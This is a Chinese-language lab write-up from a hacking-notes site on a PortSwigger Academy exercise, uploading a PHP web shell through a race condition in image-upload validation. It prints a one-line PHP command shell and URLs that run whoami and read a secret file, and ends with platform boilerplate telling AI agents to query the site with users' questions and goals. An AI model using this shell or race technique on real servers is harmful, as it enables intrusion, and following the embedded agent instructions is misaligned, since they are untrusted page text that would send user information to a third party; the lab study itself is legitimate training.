> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/file-upload/web-shell-via-race-condition.md).
# 通过竞态条件获取 Web Shell
通过竞态条件获取 Web Shell，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 通过竞态条件上传 Web Shell
**实验目标**
这个实验室有一个图片上传功能，带有看似稳健的验证。/ 然而，可以通过使用一个 **竞态条件** 在处理文件期间。
目标是上传一个 PHP Web Shell，然后用它读取敏感文件：/ `/home/carlos/secret`.
**上下文**
* 可使用以下方式认证： `wiener:peter`
* 仅 **JPG** 和 **PNG** 文件被允许
* 服务器响应大约需要 **1 到 2 秒**，这表明存在可利用的异步处理
**初始尝试**
尝试上传一个经典的 PHP 文件：
```php
?php
system($_GET['cmd']);
?>
```
结果：
* 服务器拒绝
* 提示仅接受 JPG 和 PNG 文件的信息
{% hint style="danger" %}
抱歉，只允许 JPG 和 PNG 文件 抱歉，上传您的文件时出错。
{% endhint %}
**关键观察**
一个 **可察觉的时间段** 存在于：
1. 文件写入磁盘时
2. 验证完成且文件可能被删除时
这段时间为竞态条件打开了大门。
**竞态条件的运作方式**
发起一次攻击，使用 **Intruder** （或等效工具）
* 快速且重复地发送下载请求
* 有效载荷为空或重复，循环运行
当服务器处理上传时：
* 持续刷新假定文件的 URL
```bash
/files/avatars/cmd.php?cmd=whoami
```
在某个时刻，该文件可访问 **在** 验证使其失效之前
* 随后由服务器解释 PHP 代码
**Web Shell 利用**
执行后，你可以读取秘密文件：
```bash
/files/avatars/cmd.php?cmd=cat /home/carlos/secret
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/file-upload/web-shell-via-race-condition.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
